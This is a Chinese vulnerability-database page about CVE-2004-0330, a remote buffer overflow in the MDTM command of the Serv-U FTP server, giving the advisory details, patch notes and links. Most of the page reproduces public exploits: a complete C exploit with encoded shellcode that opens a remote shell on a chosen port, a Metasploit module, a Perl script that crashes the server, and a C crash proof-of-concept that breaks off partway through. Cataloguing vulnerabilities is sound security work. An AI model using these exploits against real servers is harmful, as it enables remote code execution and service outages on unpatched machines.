CVE-2004-0330
CVSS10.0
发布时间 :2004-11-23 00:00:00
修订时间 :2016-10-17 22:44:00
NMCOEPS    

[原文]Buffer overflow in Serv-U ftp before 5.0.0.4 allows remote authenticated users to execute arbitrary code via a long time zone argument to the MDTM command.


[CNNVD]Serv-U FTP服务器MDTM命令远程缓冲区溢出漏洞(CNNVD-200411-118)

        
        Serv-U是一个Windows平台下使用非常广泛的FTP服务器软件。
        Serv-U在处理"MDTM"命令的参数时缺少正确的缓冲区边界检查,远程攻击者可以利用这个漏洞对FTP服务程序进行缓冲区溢出攻击,可能以FTP进程权限在系统上执行任意指令。
        Serv-U提供FTP命令"MDTM"用于用户更改文件时间,当用户成功登录系统,并发送畸形超长的时区数据作为命令参数,可触发缓冲区溢出,精心构建参数数据可能以FTP进程权限在系统上执行任意指令。
        利用此漏洞需要用户拥有合法帐户登录到系统,但不需要写及其他权限。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CWE (弱点类目)

CWE-119 [内存缓冲区边界内操作的限制不恰当]

- CPE (受影响的平台与产品)

cpe:/a:serv-u:serv-u:3.1.0.1Serv-U 3.1.0.1
cpe:/a:serv-u:serv-u:3.1.0.0Serv-U 3.1.0.0
cpe:/a:serv-u:serv-u:3.0.0.16Serv-U 3.0.0.16
cpe:/a:serv-u:serv-u:3.0.0.17Serv-U 3.0.0.17
cpe:/a:serv-u:serv-u:4.0.0.4Serv-U 4.0.0.4
cpe:/a:serv-u:serv-u:4.1.0.0Serv-U 4.1.0.0
cpe:/a:serv-u:serv-u:4.1.0.3Serv-U 4.1.0.3
cpe:/a:serv-u:serv-u:3.1.0.3Serv-U 3.1.0.3
cpe:/a:serv-u:serv-u:5.0.0.0Serv-U 5.0.0.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0330
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-0330
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200411-118
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=107781164214399&w=2
(UNKNOWN)  BUGTRAQ  20040226 [vulnwatch] Serv-U MDTM Command Buffer Overflow Vulnerability
http://www.cnhonker.com/advisory/serv-u.mdtm.txt
(UNKNOWN)  MISC  http://www.cnhonker.com/advisory/serv-u.mdtm.txt
http://www.securityfocus.com/bid/9751
(VENDOR_ADVISORY)  BID  9751
http://xforce.iss.net/xforce/xfdb/15323
(VENDOR_ADVISORY)  XF  servu-mdtm-bo(15323)

- 漏洞信息

Serv-U FTP服务器MDTM命令远程缓冲区溢出漏洞
危急 边界条件错误
2004-11-23 00:00:00 2010-04-28 00:00:00
远程  
        
        Serv-U是一个Windows平台下使用非常广泛的FTP服务器软件。
        Serv-U在处理"MDTM"命令的参数时缺少正确的缓冲区边界检查,远程攻击者可以利用这个漏洞对FTP服务程序进行缓冲区溢出攻击,可能以FTP进程权限在系统上执行任意指令。
        Serv-U提供FTP命令"MDTM"用于用户更改文件时间,当用户成功登录系统,并发送畸形超长的时区数据作为命令参数,可触发缓冲区溢出,精心构建参数数据可能以FTP进程权限在系统上执行任意指令。
        利用此漏洞需要用户拥有合法帐户登录到系统,但不需要写及其他权限。
        

- 公告与补丁

        厂商补丁:
        RhinoSoft
        ---------
        目前厂商已经在最新版本的软件中修复了这个安全问题,请到厂商的主页下载:
        
        http://www.serv-u.com/

- 漏洞信息 (158)

Serv-U FTPD 3.x/4.x/5.x (MDTM) Remote Overflow Exploit (EDBID:158)
windows remote
2004-02-27 Verified
21 Sam
[点击下载] [点击下载]
/* ex_servu.c - Serv-U FTPD 3.x/4.x/5.x "MDTM" Command remote overflow exploit
*
* Copyright (c) SST 2004 All rights reserved.
*
* Public version
*
* BUG find by bkbll (bkbll@cnhonker.com), cool! :ppPPppPPPpp :D
*
* code by Sam and  2004/01/07
*      <chen_xiaobo@venustech.com.cn>
*                     <Sam@0x557.org>
*                    
*
* Revise History:
*      2004/01/14 add rebind shellcode :> we can bind shellport at ftpd port.
*      2004/01/09 connect back shellcode added :)
*      2004/01/08 21:04 upgrade now :), we put shellcode in file parameter
*       we can attack pacthed serv-U;PPPp by airsupply
*  2004/01/08 change shellcode working on serv-u 4.0/4.1/4.2 now 
*      :D thx airsupply
*
* Compile: gcc -o ex_servu ex_servu.c
*
* how works?
* [root@core exp]# ./sv -h 192.168.10.119 -t 3
* Serv-U FTPD 3.x/4.x MDTM Command remote overflow exploit
* bug find by bkbll (bkbll@cnhonker.com) code by Sam (Sam@0x557.org)
*
* # Connecting......
*  [+] Connected.
*  [*] USER ftp .
*  [*] 10 bytes send.
*  [*] PASS sst@SERV-u .
*  [*] 17 bytes send.
*  [+] login success .
*  [+] remote version: Serv-U v4.x with Windows XP EN SP1
*  [+] trigger vulnerability !
*   [+] 1027 bytes overflow strings sent!
*  [+] successed!!
*
*
*  Microsoft Windows XP [Version 5.1.2600]
*  (C) Copyright 1985-2001 Microsoft Corp.
*
*  [Sam Chen@SAM C:\]#
*
*
* some thanks/greets to:
* bkbll (he find this bug :D), airsupply, kkqq, icbm
* and everyone else who's KNOW SST;P
* http://0x557.org
*/

#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/time.h>

#define VER "v5.0"

#define clearbit(buff)          bzero(buff, sizeof (buff));
#define padding(buff, a)        memset(buff, a, sizeof (buff));

#define MAX_LEN         2048
#define MAX_NUM         4

int     x = 0, port = 21, shellport;
char    pass[20], user[20];

struct archs {
       char            *desc;
       unsigned int    magic;

}architectures[] = {


       {
               "Serv-U v3.x/4.x/5.x  with Windows 2K CN",   //winmm.dll
               0x77535985

       },
        {
               "Serv-U v3.x/4.x/5.x  with Windows 2K BIG5 version",   //winmm.dll
                0x77531790

       },
       {
               "Serv-U v3.x/4.x/5.x  with Windows 2K EN",
               0x77575985

       },

       {
               "Serv-U v3.x/4.x/5.x  with Windows XP CN SP1",
               0x76b12f69

       },
       {
               "Serv-U v3.x/4.x/5.x  with Windows XP EN SP1",
               0x76b42a3a

}

};

char decoder [] =
/* 36 bytes cool decoder by airsupply :) */

"\x90\x90\x90\x5E\x5F\x5B\xBE\x52\x52\x49\x41\x46\xBF\x52\x52\x31"
"\x41\x47\x43\x39\x3B\x75\xFB\x4B\x80\x33\x99\x39\x73\xFC\x75\xF7"
"\xFF\xD3\x90\x90";

/* fork + rebind shellcode  by airsupply (one way shellcode) */
char    shellcode [] =

"\x53\x52\x49\x41"

/*port offset 120 + 4*/
"\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12\xD9\x85\x12\x99\x12\xD9"
"\x91\x18\x75\x19\x98\x99\x99\x12\x65\x12\x76\x32\x70\x8B\x9B\x99"
"\x99\xC7\xAA\x50\x28\x90\x66\xEE\x65\x71\xB9\x98\x99\x99\xF1\xF5"
"\xF5\x99\x99\xF1\xAA\xAB\xB7\xFD\xF1\xEE\xEA\xAB\xC6\xCD\x66\xCC"
"\x9D\x32\xAA\x50\x28\x9C\x66\xEE\x65\x71\x99\x98\x99\x99\x12\x6C"
"\x71\x94\x98\x99\x99\xAA\x66\x18\x75\x09\x98\x99\x99\xCD\xF1\x98"
"\x98\x99\x99\x66\xCF\xB5\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF"
"\xA9\x12\x41\xCE\xCE\xF1\x9B\x99\x8C\x5B\x12\x55\xCA\xC8\xF3\x8F"
"\xC8\xCA\x66\xCF\xAD\xC0\xC2\x1C\x59\xEC\x68\xCE\xCA\x66\xCF\xA1"
"\xCE\xC8\xCA\x66\xCF\xA5\x12\x49\x10\x1F\xD9\x98\x99\x99\xF1\xFC"
"\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\x3F\xA9\x98\x99\x99\x1A\x75"
"\xCD\x14\xA5\xBD\xAA\x59\xAA\x50\x1A\x58\x8C\x32\x7B\x64\x5F\xDD"
"\xBD\x89\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10\xCD\xBD\xD1\x10"
"\xCD\xBD\xD5\x10\xCD\xBD\xC9\x14\xDD\xBD\x89\x14\x27\xDD\x98\x99"
"\x99\xCE\xC9\xC8\xC8\xC8\xD8\xC8\xD0\xC8\xC8\x66\x2F\xA9\x98\x99"
"\x99\xC8\x66\xCF\x91\xAA\x59\xD1\xC9\x66\xCF\x95\xCA\xCC\xCF\xCE"
"\x12\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81"
"\x12\xC3\xB9\x9A\x44\x7A\xA9\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65"
"\xAA\x59\x35\xA3\x79\xED\x9E\x58\x56\x9E\x9A\x61\x72\x6B\xA2\xE5"
"\xBD\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85"
"\x9A\x44\x12\x9D\x12\x9A\x5C\xC6\xC7\xC4\xC2\x5B\x9D\x99\xC8\x66"
"\xED\xBD\x91\x34\xC9\x71\x3B\x66\x66\x66\x1A\x5D\x9D\xC0\x32\x7B"
"\x74\x5A\xF1\xFC\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\x3F\xA9\x98"
"\x99\x99\x1A\x75\xCD\x14\xA5\xBD\xAA\x59\xAA\x50\x1A\x58\x8C\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10"
"\xDD\xBD\xD1\x10\xDD\xBD\xD5\x10\xDD\xBD\xC9\x14\xDD\xBD\x89\x14"
"\x27\xDD\x98\x99\x99\xCE\xC9\xC8\xC8\xF3\x9D\xC8\xC8\xC8\x66\x2F"
"\xA9\x98\x99\x99\xC8\x66\xCF\x91\x18\x75\x99\x9D\x99\x99\xF1\x9E"
"\x99\x98\x99\xCD\x66\x2F\xD1\x98\x99\x99\x66\xCF\x89\xF3\xD9\xF1"
"\x99\x89\x99\x99\xF1\x99\xC9\x99\x99\xF3\x99\x66\x2F\xDD\x98\x99"
"\x99\x66\xCF\x8D\x10\x1D\xBD\x21\x99\x99\x99\x10\x1D\xBD\x2D\x99"
"\x99\x99\x12\x15\xBD\xF9\x9D\x99\x99\x5E\xD8\x62\x09\x09\x09\x09"
"\x5F\xD8\x66\x09\x1A\x70\xCC\xF3\x99\xF1\x99\x89\x99\x99\xC8\xC9"
"\x66\x2F\xDD\x98\x99\x99\x66\xCF\x81\xCD\x66\x2F\xD1\x98\x99\x99"
"\x66\xCF\x85\x66\x2F\xD1\x98\x99\x99\x66\xCF\xB9\xAA\x59\xD1\xC9"
"\x66\xCF\x95\x71\x70\x64\x66\x66\xAB\xED\x08\x95\x50\x25\x3F\xF2"
"\x16\x6B\x81\xF8\x51\xCE\xD6\x88\x68\xE2\x05\x76\xC1\x96\xD8\x0E"
"\x51\xCE\xD6\x8E\x4F\x15\x07\x6A\xFA\x10\x48\xD6\xA4\xF3\x2D\x19"
"\xB4\xAB\xE1\x47\xFD\x89\x3E\x44\x95\x06\x4A\xD2\x28\x87\x0E\x98"
"\x06\x06\x06\x06"
"\x53\x52\x31\x41";


/* new:
* tcp connect with no block socket, host to ip.
* millisecond timeout, it's will be fast.
*;D
* 2003/06/23 add by Sam
*/
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout)
{
       int                     sock,
                               flag,
                               pe = 0;
       size_t                  pe_len;
       struct timeval          tv;
       struct sockaddr_in      addr;
       struct hostent*         hp = NULL;
       fd_set                  rset;

       // reslov hosts
       hp = gethostbyname (host);
       if (NULL == hp) {
               perror ("tcpConnect:gethostbyname\n");
               return -1;
       }

       sock = socket (AF_INET, SOCK_STREAM, 0);
       if (-1 == sock) {
               perror ("tcpConnect:socket\n");
               return -1;
       }

       addr.sin_addr = *(struct in_addr *) hp->h_addr;
       addr.sin_family = AF_INET;
       addr.sin_port = htons (port);

       /* set socket no block
        */
       flag = fcntl (sock, F_GETFL);
       if (-1 == flag) {
               perror ("tcpConnect:fcntl\n");
               close (sock);
               return -1;
       }

       flag |= O_NONBLOCK;
       if (fcntl (sock, F_SETFL, flag) < 0) {
               perror ("tcpConnect:fcntl\n");
               close (sock);
               return -1;
       }

       if (connect (sock, (const struct sockaddr *) &addr,
                           sizeof(addr)) < 0 &&
           errno != EINPROGRESS) {
               perror ("tcpConnect:connect\n");
               close (sock);
               return -1;
       }

       /* set connect timeout
        * use millisecond
        */
       tv.tv_sec = timeout/1000;
       tv.tv_usec = timeout%1000;

       FD_ZERO (&rset);
       FD_SET (sock, &rset);

       if (select (sock+1, &rset, &rset, NULL, &tv) <= 0) {
//                perror ("tcpConnect:select");
               close (sock);
               return -1;
       }

       pe_len = sizeof (pe);

       if (getsockopt (sock, SOL_SOCKET, SO_ERROR, &pe, &pe_len) < 0) {
               perror ("tcpConnect:getsockopt\n");
               close (sock);
               return -1;
       }

       if (pe != 0) {
               errno = pe;
               close (sock);
               return -1;
       }

       if (fcntl(sock, F_SETFL, flag&~O_NONBLOCK) < 0) {
               perror ("tcpConnect:fcntl\n");
               close (sock);
               return -1;
       }

       pe = 1;
       pe_len = sizeof (pe);

       if (setsockopt (sock, IPPROTO_TCP, TCP_NODELAY, &pe, pe_len) < 0){
               perror ("tcpConnect:setsockopt\n");
               close (sock);
               return -1;
       }

       return sock;
}

/* rip code, from hsj */
int sh (int in, int out, int s)
{
       char    sbuf[128], rbuf[128];
       int     i,
               ti, fd_cnt,
               ret=0, slen=0, rlen=0;
       fd_set  rd, wr;

       fd_cnt = in > out ? in : out;
       fd_cnt = s > fd_cnt ? s : fd_cnt;
       fd_cnt ++;

       for (;;) {
               FD_ZERO (&rd);
               if (rlen < sizeof (rbuf))
                       FD_SET (s, &rd);
               if (slen < sizeof (sbuf))
                       FD_SET (in, &rd);

               FD_ZERO (&wr);
               if (slen)
                       FD_SET (s, &wr);
               if (rlen)
                       FD_SET (out, &wr);

               if ((ti = select (fd_cnt, &rd, &wr, 0, 0)) == (-1))
                       break;
               if (FD_ISSET (in, &rd)) {
                       if((i = read (in, (sbuf+slen),
                       (sizeof (sbuf) - slen))) == (-1)) {
                               ret = -2;
                               break;
                       }
                       else if (i == 0) {
                               ret = -3;
                               break;
                       }
                       slen += i;
                       if (!(--ti))
                               continue;
               }
               if (FD_ISSET (s, &wr)) {
                       if ((i = write (s, sbuf, slen)) == (-1))
                               break;
                       if (i == slen)
                               slen = 0;
                       else {
                               slen -= i;
                               memmove (sbuf, sbuf + i, slen);
                       }
                       if (!(--ti))
                               continue;
               }
               if (FD_ISSET (s, &rd)) {
                       if ((i = read (s, (rbuf + rlen),
                       (sizeof (rbuf) - rlen))) <= 0)
                               break;
                       rlen += i;
                       if (!(--ti))
                               continue;
               }
               if (FD_ISSET (out, &wr)) {
                       if ((i = write (out, rbuf, rlen)) == (-1))
                               break;
                       if (i == rlen)
                               rlen = 0;
                       else {
                               rlen -= i;
                               memmove (rbuf, rbuf+i, rlen);
                       }
               }
       }
       return ret;
}


int new_send (int fd, char *buff, size_t len)
{
       int     ret;

       if ((ret = send (fd, buff, len, 0)) <= 0) {
               perror ("new_write");
               return -1;
       }

       return ret;

}

int new_recv (int fd, char *buff, size_t len)
{
       int     ret;

       if ((ret = recv (fd, buff, len, 0)) <= 0) {
               perror ("new_recv");
               return -1;
       }

       return ret;
}

int ftp_login (char *hostName, short port, char *user, char *pass)
{
       int     ret, sock;
       char    buff[MAX_LEN];

       fprintf (stderr, "# Connecting...... \n");
       if ((sock = new_tcpConnect (hostName, port, 4000)) <= 0) {
               fprintf (stderr, "[-] failed. \n");
               return -1;
       }

       clearbit (buff);

       new_recv (sock, buff, sizeof (buff) - 1);
       if (!strstr (buff, "220")) {
               fprintf (stderr, "[-] failed. \n");
               return -1;
       }
       fprintf (stderr, "[+] Connected. \n");

       sleep (1);
       fprintf (stderr, "[*] USER %s .\n", user);
       clearbit (buff);
       snprintf (buff, sizeof (buff), "USER %s\r\n",  user);
       ret = new_send (sock, buff, strlen (buff));
       fprintf (stderr, "[*] %d bytes send. \n", ret);

       sleep (1);

       clearbit (buff);
       new_recv (sock, buff, sizeof (buff) - 1);
       if (!strstr (buff, "331")) {
               fprintf (stderr, "[-] user failed. \n%s\n", buff);
               return -1;
       }

       fprintf (stderr, "[*] PASS %s .\n", pass);
       clearbit (buff);
       snprintf (buff, sizeof (buff), "PASS %s\r\n", pass);
       ret = new_send (sock, buff, strlen (buff));
       fprintf (stderr, "[*] %d bytes send. \n", ret);

       sleep (1);

       clearbit (buff);
       new_recv (sock, buff, sizeof (buff) - 1);
       if (!strstr (buff, "230")) {
               fprintf (stderr, "[-] pass failed. \n%s\n", buff);
               return -1;
       }

       fprintf (stderr, "[+] login success .\n");

       return sock;

}

void do_overflow (int sock)
{
       int             ret, i;
       unsigned short newport;
       char    Comand [MAX_LEN] = {0}, chmodBuffer [600], rbuf[256];

       clearbit (Comand);
       clearbit (rbuf);

       clearbit (chmodBuffer);
       
       for(i = 0; i < 47; i++) 
        strcat(chmodBuffer, "a");
for(i = 0; i < 16; i += 8) {
        *(unsigned int*)&chmodBuffer[47+i] = 0x06eb9090;
        *(unsigned int*)&chmodBuffer[51+i] = architectures[x].magic; //0x1002bd78;  //pop reg pop reg ret
}


newport = htons (shellport)^(unsigned short)0x9999;
memcpy (&shellcode[120 + 4], &newport, 2);

 strcat(chmodBuffer, decoder);
 

       fprintf (stderr, "[+] remote version: %s\n", architectures[x].desc);

       fprintf (stderr, "[+] trigger vulnerability !\n ");
       strcpy (Comand, "MDTM 20031111111111+");
       strncat (Comand, chmodBuffer, strlen (chmodBuffer) - 1);
       strcat (Comand, " ");


       strcat (Comand, shellcode);
      
       strcat (Comand, "hacked_by.sst\r\n");

       ret =  new_send (sock, Comand, strlen (Comand));
       fprintf (stderr, "[+] %d bytes overflow strings sent!\n", ret);


       return;
}

/* print help messages.
* just show ya how to use.
*/
void showHELP (char *p)
{
       int     i;

       fprintf (stderr, "Usage: %s [Options] \n", p);
       fprintf (stderr, "Options:\n"
               "\t-h [remote host]\tremote host\n"
               "\t-P [server port]\tserver port\n"
               "\t-t [system type]\tchoice the system type\n"
               "\t-u [user   name]\tlogin with this username\n"
               "\t-p [pass   word]\tlogin with this passwd\n"
               "\t-d [shell  port]\trebind using this port (default: ftpd port)\n\n");


       printf ("num . description\n");
       printf ("----+-----------------------------------------------"
               "--------\n");
       for (i = 0; i <= MAX_NUM; i ++) {
               printf ("%3d | %s\n", i, architectures[i].desc);
       }
       printf ("    '\n");
       return;
}

int main (int c, char *v[])
{
       int             ch, fd, sd;
       char     *hostName = NULL, *userName = "ftp", *passWord = "sst@SERV-u";
       shellport  = port;
       

       fprintf (stderr, "Serv-U FTPD 3.x/4.x/5.x MDTM Command remote overflow exploit "VER"\n"
               "bug find by bkbll (bkbll@cnhonker.net) code by Sam (Sam@0x557.org)\n\n");

       if (c < 2) {
               showHELP (v[0]);
               exit (1);
       }

       while((ch = getopt(c, v, "h:t:u:p:P:c:d:")) != EOF) {
               switch(ch) {
                       case 'h':
                               hostName = optarg;
                               break;
                       case 't':
                               x = atoi (optarg);
                               if (x > MAX_NUM) {
                                       printf ("[-] wtf your input?\n");
                                       exit (-1);
                               }
                               break;
                       case 'u':
                               userName = optarg;
                               break;
                       case 'p':
                               passWord = optarg;
                               break;
                       case 'P':
                        port = atoi (optarg);
                        break;
                       case 'd':
                        shellport = atoi (optarg);
                        break;
                       default:
                               showHELP (v[0]);
                               return 0;
               }
       }


       fd = ftp_login (hostName, port, userName, passWord);
       if (fd <= 0) {
               printf ("[-] can't connnect\n");
               exit (-1);
       }

       do_overflow (fd);

close (fd);
 
       sleep (3);
      
       sd = new_tcpConnect (hostName, shellport, 3000);
       if (sd <= 0) {
               printf ("[-] failed\n");
               return -1;
       }

       fprintf (stderr, "[+] successed!!\n\n\n");
       sh (0, 1, sd);

       close (sd);

       return 0;
}



// milw0rm.com [2004-02-27]
		

- 漏洞信息 (16715)

Serv-U FTPD MDTM Overflow (EDBID:16715)
windows remote
2010-09-20 Verified
21 metasploit
[点击下载] [点击下载]
##
# $Id: servu_mdtm.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Serv-U FTPD MDTM Overflow',
			'Description'    => %q{
					This is an exploit for the Serv-U\'s MDTM command timezone
				overflow. It has been heavily tested against versions
				4.0.0.4/4.1.0.0/4.1.0.3/5.0.0.0 with success against
				nt4/2k/xp/2k3. I have also had success against version 3,
				but only tested 1 version/os. The bug is in all versions
				prior to 5.0.0.4, but this exploit will not work against
				versions not listed above. You only get one shot, but it
				should be OS/SP independent.

				This exploit is a single hit, the service dies after the
				shellcode finishes execution.
			},
			'Author'         => [ 'spoonm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2004-0330'],
					[ 'OSVDB', '4073'],
					[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-02/0654.html'],
					[ 'URL', 'http://www.cnhonker.com/advisory/serv-u.mdtm.txt'],
					[ 'URL', 'http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=54'],
					[ 'BID', '9751'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
					'StackAdjustment' => -3500,
				},
			'Targets'        =>
				[
					[
						'Serv-U Uber-Leet Universal ServUDaemon.exe', # Tested OK - hdm 11/25/2005
						{
							'Platform' => 'win',
							'Ret'      => 0x00401877,
						},
					],
					[
						'Serv-U 4.0.0.4/4.1.0.0/4.1.0.3 ServUDaemon.exe',
						{
							'Platform' => 'win',
							'Ret'      => 0x0040164d,
						},
					],
					[
						'Serv-U 5.0.0.0 ServUDaemon.exe',
						{
							'Platform' => 'win',
							'Ret'      => 0x0040167e,
						},
					],
				],
			'DisclosureDate' => 'Feb 26 2004',
			'DefaultTarget' => 0))

		register_advanced_options(
			[
				OptInt.new('SEHOffset', [ false, "Offset from beginning of timezone to SEH", 47 ]),
				OptInt.new('ForceDoubling', [ false, "1 to force \\xff doubling for 4.0.0.4, 0 to disable it, 2 to autodetect", 2 ]),
			], self.class)

	end

	# From 5.0.0.4 Change Log
	# "* Fixed bug in MDTM command that potentially caused the daemon to crash."
	#
	# Nice way to play it down boys
	#
	# Connected to ftp2.rhinosoft.com.
	# 220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74]
	#
	# Heh :)

	def check
		connect
		disconnect

		case banner
			when /Serv-U FTP Server v4\.1/
				print_status('Found version 4.1.0.3, exploitable')
				return Exploit::CheckCode::Vulnerable

			when /Serv-U FTP Server v5\.0/
				print_status('Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!');
				return Exploit::CheckCode::Appears

			when /Serv-U FTP Server v4\.0/
				print_status('Found version 4.0.0.4 or 4.1.0.0, additional check.');
				send_user(datastore['USER'])
				send_pass(datastore['PASS'])
				if (double_ff?())
					print_status('Found version 4.0.0.4, exploitable');
					return Exploit::CheckCode::Vulnerable
				else
					print_status('Found version 4.1.0.0, exploitable');
					return Exploit::CheckCode::Vulnerable
				end

			when /Serv-U FTP Server/
				print_status('Found an unknown version, try it!');
				return Exploit::CheckCode::Detected

			else
				print_status('We could not recognize the server banner')
				return Exploit::CheckCode::Safe
		end

		return Exploit::CheckCode::Safe
	end

	def exploit

		connect_login

		print_status("Trying target #{target.name}...")

		# Should have paid more attention to skylined's exploit, only after figuring
		# out how my payloads were getting transformed did I remember seeing \xff
		# doubling in his CHMOD exploit, arg!
		shellcode = payload.encoded

		case datastore['ForceDoubling']
			when 1
				print_status("Forced doubling of all \\xff sequences in the encoded payload")
				shellcode.gsub!(/\xff/, "\xff\xff")
			when 0
				print_status("Forced doubling has been disabled")
			when 2
				if (double_ff?())
					print_status("Forced doubling enabled after detection of version 4.0.0.4")
					shellcode.gsub!(/\xff/, "\xff\xff")
				end
		end

		# Searcher expects address to start scanning at in edi
		# Since we got here via a pop pop ret, we can just the address of the jmp
		# off the stack, add esp, BYTE -4 ; pop edi

		search_rtag = "\x34\x33\x32\x31" # +1 / 0 / -1 [start, end, stored]
		search_stub = Rex::Arch::X86.searcher(search_rtag)
		search_code = "\x83\xc4\xfc\x5f" + search_stub + 'BB'
		if (datastore['SEHOffset'] < search_code.length)
			print_error("Not enough room for search code, adjust SEHOffset")
			return
		end

		jump_back = Rex::Arch::X86.jmp_short('$+' + (-1 * search_code.length).to_s) + 'BB'

		buf = 'MDTM 20031111111111+' + ('A' * (datastore['SEHOffset'] - search_code.length))
		buf << search_code
		buf << jump_back
		buf << [target.ret].pack('V')
		buf << ' /'
		buf << Rex::Arch::X86.dword_adjust(search_rtag, 1)
		buf << shellcode
		buf << search_rtag

		send_cmd( [buf], false )

		handler
		disconnect
	end

	def double_ff?
		res = send_cmd( ['P@SW'], true )
		return (res and res =~ /^500/) ? true : false
	end

end
		

- 漏洞信息 (23760)

RhinoSoft Serv-U FTP Server 3/4/5 MDTM Command Time Argument Buffer Overflow Vulnerability (1) (EDBID:23760)
windows dos
2004-02-26 Verified
0 saintjmf
N/A [点击下载]
source: http://www.securityfocus.com/bid/9751/info

Serv-U FTP Server has been reported prone to a remote stack based buffer overflow vulnerability when handling time zone arguments passed to the MDTM FTP command.

The problem exists due to insufficient bounds checking. Ultimately an attacker may leverage this issue to have arbitrary instructions executed in the context of the SYSTEM user. 

## Coded by saintjmf
## This exploits Serv-u MDTM buffer overflow - Shutsdown server
## Discovered by bkbll - Info provided by securityfocus
## For exploit to work you need valid username and password
## I do not take responsibility for the use of this code

use IO::Socket qw(:DEFAULT :crlf);
print "Serv-u MDTM Buffer overflow - by saintjmf\n";

## Get Host port unsername and password

my $host = shift || die print "\nUsage: <program> <Host> <port> <username> <password>\n";
my $port = shift || die print "\nUsage: <program> <Host> <port> <username> <password> \n";

$username = shift || die print "\nUsage: <program> <Host> <port> <username> <password> \n"; 
$password = shift || die print "\nUsage: <program> <Host> <port> <username> <password> \n";

## Create Socket
my $socket = IO::Socket::INET->new("$host:$port")  or die print "\nUnable to connect -- $!\n";

print "connecting...............\n\n";

connecter($socket);


print "Server should be stopped\n";


## Sub that sends username, password and exploit

sub connecter{	
	$/ = CRLF;
	my $socket2 = shift;
	my $message2 = <$socket2>;
	chomp $message2;
	print "$message2\n";
	sleep(5);
	print $socket2 "user $username",CRLF;
	$message2 = <$socket2>;
	chomp $message2;
	print "$message2\n";
sleep (5);
	print $socket2 "pass $password", CRLF;

	$message2 = <$socket2>;
	chomp $message2;
	print "$message2\n";
sleep (4);
	print "Sending MDTM Overflow.....\n";
	print $socket2 "MDTM 20041111111111+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /test.txt" ,CRLF;

}
		

- 漏洞信息 (23761)

RhinoSoft Serv-U FTP Server 3/4/5 MDTM Command Time Argument Buffer Overflow Vulnerability (2) (EDBID:23761)
windows dos
2004-02-26 Verified
0 shaun2k2
N/A [点击下载]
source: http://www.securityfocus.com/bid/9751/info
 
Serv-U FTP Server has been reported prone to a remote stack based buffer overflow vulnerability when handling time zone arguments passed to the MDTM FTP command.
 
The problem exists due to insufficient bounds checking. Ultimately an attacker may leverage this issue to have arbitrary instructions executed in the context of the SYSTEM user.

/* serv-u-mdtm-expl.c - Serv-U "MDTM" buffer overflow PoC DoS exploit.
 *
 * This program will send an overly large filename parameter when calling
 * the Serv-U FTP MDTM command.  Although arbitrary code execution is
 * possible upon successful execution of this vulnerability, the vendor has
 * not yet released a patch, so releasing such an exploit could be disastrous
 * in the hands of script kiddies.  I might release a full exploit to the
 * public when a patch/fix is issued by the vendor of Serv-U.  This PoC
 * exploit will simply crash the Serv-U server.
 *
 * This vulnerability was discovered by bkbll, you can read his advisory on
 * the issue here: <http://www.cnhonker.com/advisory/serv-u.mdtm.txt>
 *
 * This vulnerability requires a valid login and password to exploit!  This
 * PoC does not check to see if you supplied a correct login and password.
 *
 * I do not take responsibility for this code.
 *
 * -shaun2k2
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>

int main(int argc, char *argv[]) {
        if(argc < 5) {
                printf("Serv-U 'MDTM' buffer overflow DoS exploit.\n");
                printf("by shaun2k2 - <shaunige@yahoo.co.uk>.\n\n");
                printf("Usage: %s <host> <port> <login> <password>\n", argv[0]);
                exit(-1);
        }

        int sock;
        char explbuf[6032];
        char loginbuf[100];
        char passwdbuf[100];
        char bigbuf[6000];
        struct sockaddr_in dest;
        struct hostent *he;

        /* lookup IP address of supplied hostname. */
        if((he = gethostbyname(argv[1])) == NULL) {
                printf("Couldn't resolve %s!\n", argv[1]);
                exit(-1);
        }

        /* create socket. */
